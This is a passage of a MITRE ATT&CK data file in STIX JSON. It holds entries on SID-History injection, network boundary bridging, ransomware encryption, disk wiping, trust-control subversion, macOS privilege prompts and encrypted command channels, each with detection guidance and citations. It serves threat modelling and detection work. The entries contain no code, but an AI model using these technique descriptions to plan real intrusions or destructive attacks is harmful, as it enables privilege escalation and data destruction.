"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1187", "external_id": "T1187"}, {"source_name": "Cylance Redirect to SMB", "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.", "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"}, {"source_name": "GitHub Hashjacking", "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.", "url": "https://github.com/hob0/hashjacking"}, {"source_name": "Microsoft Managing WebDAV Security", "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.", "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"}, {"source_name": "Osanda Stealing NetNTLM Hashes", "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.", "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"}, {"source_name": "Didier Stevens WebDAV Traffic", "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.", "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"}, {"source_name": "US-CERT APT Energy Oct 2017", "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"}, {"source_name": "Wikipedia Server Message Block", "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", "url": "https://en.wikipedia.org/wiki/Server_Message_Block"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Alain Homewood, Insomnia Security", "Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", "type": "attack-pattern", "created": "2020-02-18T18:34:49.414Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1134.005", "url": "https://attack.mitre.org/techniques/T1134/005"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", "source_name": "Microsoft SID"}, {"url": "https://msdn.microsoft.com/library/ms679833.aspx", "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", "source_name": "Microsoft SID-History Attribute"}, {"url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", "source_name": "Microsoft Well Known SIDs Jun 2017"}, {"url": "https://technet.microsoft.com/library/ee617241.aspx", "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", "source_name": "Microsoft Get-ADUser"}, {"url": "https://adsecurity.org/?p=1772", "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", "source_name": "AdSecurity SID History Sept 2015"}, {"url": "https://msdn.microsoft.com/library/ms677982.aspx", "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", "source_name": "Microsoft DsAddSidHistory"}], "modified": "2021-02-09T15:49:58.414Z", "name": "SID-History Injection", "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell <code>Get-ADUser</code> cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Active Directory: Active Directory Object Modification", "Process: OS API Execution", "User Account: User Account Metadata"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"]}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", "created": "2020-10-19T16:08:29.817Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1599", "url": "https://attack.mitre.org/techniques/T1599"}, {"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", "modified": "2022-05-05T05:05:44.200Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Network Boundary Bridging", "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question.  Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended.  Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "x_mitre_defense_bypassed": ["Firewall", "System Access Controls"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows", "IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Oleg Kolesnikov, Securonix", "Mayuresh Dani, Qualys", "Harshal Tupsamudre, Qualys", "Travis Smith, Qualys", "ExtraHop"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "created": "2019-03-15T13:59:30.390Z", "x_mitre_version": "1.4", "external_references": [{"source_name": "mitre-attack", "external_id": "T1486", "url": "https://attack.mitre.org/techniques/T1486"}, {"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}, {"source_name": "FireEye WannaCry 2017", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."}, {"source_name": "Rhino S3 Ransomware Part 1", "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/", "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021."}, {"source_name": "NHS Digital Egregor Nov 2020", "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."}, {"source_name": "US-CERT Ransomware 2016", "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A", "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019."}, {"source_name": "US-CERT NotPetya 2017", "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A", "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."}, {"source_name": "US-CERT SamSam 2018", "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A", "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)", "modified": "2022-06-16T13:07:10.318Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Data Encrypted for Impact", "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["File: File Modification", "Cloud Storage: Cloud Storage Modification", "Network Share: Network Share Access", "File: File Creation", "Command: Command Execution", "Process: Process Creation"], "x_mitre_impact_type": ["Availability"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", "type": "attack-pattern", "created": "2019-03-29T14:59:50.763Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1488", "url": "https://attack.mitre.org/techniques/T1488"}, {"source_name": "Novetta Blockbuster", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}, {"source_name": "Novetta Blockbuster Destructive Malware", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"}, {"source_name": "DOJ Lazarus Sony 2018", "url": "https://www.justice.gov/opa/press-release/file/1092091/download", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}], "modified": "2020-02-20T22:07:27.495Z", "name": "Disk Content Wipe", "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_impact_type": ["Availability"], "x_mitre_permissions_required": ["User", "Administrator", "root", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2024-03-01T17:17:37.292Z", "name": "Subvert Trust Controls", "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Module: Module Load", "Windows Registry: Windows Registry Key Creation", "File: File Metadata", "Command: Command Execution", "Process: Process Creation", "File: File Modification", "Windows Registry: Windows Registry Key Modification"], "x_mitre_defense_bypassed": ["Anti-virus", "Autoruns Analysis", "Digital Certificate Validation", "User Mode Signature Validation", "Windows User Account Control", "Application Control"], "type": "attack-pattern", "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "created": "2020-02-05T14:54:07.588Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553", "external_id": "T1553"}, {"source_name": "SpectorOps Code Signing Dec 2017", "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"}, {"source_name": "SpectorOps Subverting Trust Sept 2017", "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}, {"source_name": "Securelist Digital Certificates", "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"}, {"source_name": "Symantec Digital Certificates", "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-19T16:35:18.492Z", "name": "Elevated Execution with Prompt", "description": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code> is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code> is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.", "x_mitre_platforms": ["macOS"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Jimmy Astle, @AstleJimmy, Carbon Black", "Erika Noerenberg, @gutterchurl, Carbon Black"], "x_mitre_data_sources": ["Process: Process Creation", "Process: OS API Execution"], "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_effective_permissions": ["root"], "type": "attack-pattern", "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", "created": "2020-01-30T14:40:20.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1548/004", "external_id": "T1548.004"}, {"source_name": "AppleDocs AuthorizationExecuteWithPrivileges", "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.", "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"}, {"source_name": "Carbon Black Shlayer Feb 2019", "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"}, {"source_name": "Death by 1000 installers; it's all broken!", "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.", "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"}, {"source_name": "OSX Coldroot RAT", "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.", "url": "https://objective-see.com/blog/blog_0x2A.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d", "type": "attack-pattern", "created": "2020-10-02T16:46:42.537Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1592.003", "url": "https://attack.mitre.org/techniques/T1592/003"}, {"source_name": "ArsTechnica Intel", "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/", "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:22:46.759Z", "name": "Firmware", "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:29:47.903Z", "name": "Encrypted Channel", "description": "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "created": "2020-03-16T15:33:01.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1573", "external_id": "T1573"}, {"source_name": "SANS Decrypting SSL", "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.", "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"}, {"source_name": "SEI SSL Inspection Risks", "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.", "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1174", "url": "https://attack.mitre.org/techniques/T1174"}, {"url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", "source_name": "Carnal Ownage Password Filters Sept 2013"}, {"url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", "description": "Bialek, J. (2013, September 15). Intercepting Password Changes 